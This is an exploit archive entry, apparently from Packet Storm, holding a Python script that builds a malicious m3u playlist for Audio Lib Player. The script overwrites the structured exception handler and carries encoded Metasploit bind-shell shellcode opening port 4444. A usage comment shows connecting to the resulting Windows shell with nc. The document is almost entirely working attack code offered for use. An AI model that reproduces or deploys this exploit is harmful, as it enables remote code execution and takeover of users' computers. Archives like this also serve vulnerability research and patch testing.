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packetstormBlakePACKETSTORM:81097
HistorySep 10, 2009 - 12:00 a.m.

Audio Lib Player Buffer Overflow

2009-09-1000:00:00
Blake
packetstormsecurity.com
21
`# Audio Lib Player m3u SEH overwrite  
# product: http://www.toocharger.com/telecharger/logiciels/audio-lib-player/19056.htm  
# Usage: Create playlist, load exploit.m3u and connect to shell on port 4444  
#  
# $ nc 192.168.1.131 4444  
# Microsoft Windows XP [Version 5.1.2600]  
# (C) Copyright 1985-2001 Microsoft Corp.  
#  
# C:\Documents and Settings\blake\Desktop\ALP>  
  
import sys  
  
print "\n[*] Audio Lib Player m3u SEH Overwrite"  
print "[*] Written by Blake"  
print "[*] Tested on Windows XP SP3\n"  
  
  
# windows/shell_bind_tcp - 695 bytes  
# http://www.metasploit.com  
# Encoder: x86/alpha_mixed  
# EXITFUNC=seh, LPORT=4444, RHOST=  
  
shellcode = (  
"\xdd\xc1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"  
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"  
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"  
"\x4c\x42\x4a\x4a\x4b\x50\x4d\x4a\x48\x4b\x49\x4b\x4f\x4b\x4f"  
"\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x47"  
"\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f"  
"\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a"  
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46\x51"  
"\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57\x49"  
"\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4b\x44\x47\x4b"  
"\x46\x34\x47\x54\x47\x58\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x46"  
"\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"  
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x44\x43\x46\x4c\x4c\x4b\x4b"  
"\x39\x42\x4c\x51\x34\x45\x4c\x43\x51\x49\x53\x50\x31\x49\x4b"  
"\x45\x34\x4c\x4b\x51\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c"  
"\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51\x4e"  
"\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x48"  
"\x56\x42\x46\x50\x53\x43\x56\x43\x58\x50\x33\x50\x32\x43\x58"  
"\x43\x47\x43\x43\x47\x42\x51\x4f\x51\x44\x4b\x4f\x48\x50\x45"  
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4e\x36"  
"\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4d\x51\x4a\x4d\x43\x38\x44"  
"\x42\x50\x55\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x43\x58\x49\x49"  
"\x43\x39\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48\x56\x51\x43\x46"  
"\x33\x46\x33\x46\x33\x50\x53\x50\x43\x51\x43\x51\x53\x50\x53"  
"\x4b\x4f\x48\x50\x42\x46\x42\x48\x42\x31\x51\x4c\x43\x56\x46"  
"\x33\x4c\x49\x4b\x51\x4d\x45\x45\x38\x4e\x44\x44\x5a\x42\x50"  
"\x48\x47\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x46\x31\x46"  
"\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d\x39"  
"\x50\x57\x4b\x4f\x49\x46\x51\x43\x51\x45\x4b\x4f\x4e\x30\x45"  
"\x38\x4b\x55\x51\x59\x4b\x36\x51\x59\x50\x57\x4b\x4f\x49\x46"  
"\x46\x30\x46\x34\x50\x54\x51\x45\x4b\x4f\x48\x50\x4d\x43\x45"  
"\x38\x4a\x47\x43\x49\x48\x46\x44\x39\x50\x57\x4b\x4f\x48\x56"  
"\x50\x55\x4b\x4f\x48\x50\x43\x56\x42\x4a\x45\x34\x43\x56\x43"  
"\x58\x43\x53\x42\x4d\x4c\x49\x4a\x45\x43\x5a\x50\x50\x46\x39"  
"\x46\x49\x48\x4c\x4b\x39\x4d\x37\x43\x5a\x50\x44\x4c\x49\x4b"  
"\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32\x46\x4d"  
"\x4b\x4e\x51\x52\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x50\x38\x4e"  
"\x4b\x4e\x4b\x4e\x4b\x43\x58\x44\x32\x4b\x4e\x4e\x53\x45\x46"  
"\x4b\x4f\x43\x45\x47\x34\x4b\x4f\x4e\x36\x51\x4b\x46\x37\x51"  
"\x42\x50\x51\x50\x51\x50\x51\x43\x5a\x43\x31\x50\x51\x46\x31"  
"\x51\x45\x50\x51\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x48\x59\x43"  
"\x35\x48\x4e\x46\x33\x4b\x4f\x4e\x36\x42\x4a\x4b\x4f\x4b\x4f"  
"\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x46\x37\x4b\x4c\x4b\x33\x49"  
"\x54\x45\x34\x4b\x4f\x48\x56\x46\x32\x4b\x4f\x4e\x30\x45\x38"  
"\x4c\x30\x4d\x5a\x44\x44\x51\x4f\x50\x53\x4b\x4f\x49\x46\x4b"  
"\x4f\x48\x50\x41\x41")  
  
payload = "\x41" * 420 # seh overwritten at 1224  
nops = "\x90" * 100 # Nop Sled  
sc = shellcode # bind shell 695 bytes  
near_jmp = "\xe9\x10\xfd\xff\xff" # near jump back -752 bytes  
seh = "\x6a\x19\x9a\x0f" # 0x0f9a196a pop ebp; pop ebx; ret from [C:\WINDOWS\system32\VBAJET32.dll]  
next_seh = "\xeb\xf9\xff\xff" # short jump back -7   
junk = "\x43" * 572 # junk buffer  
  
  
print "[+] Creating malicious playlist"  
try:  
file = open("exploit.m3u",'w')  
file.write(payload + nops + sc + near_jmp + next_seh + seh + junk)  
file.close()  
print "[+] File created successfully"  
except:  
print "[x] Could not create file"  
sys.exit(0)   
  
  
`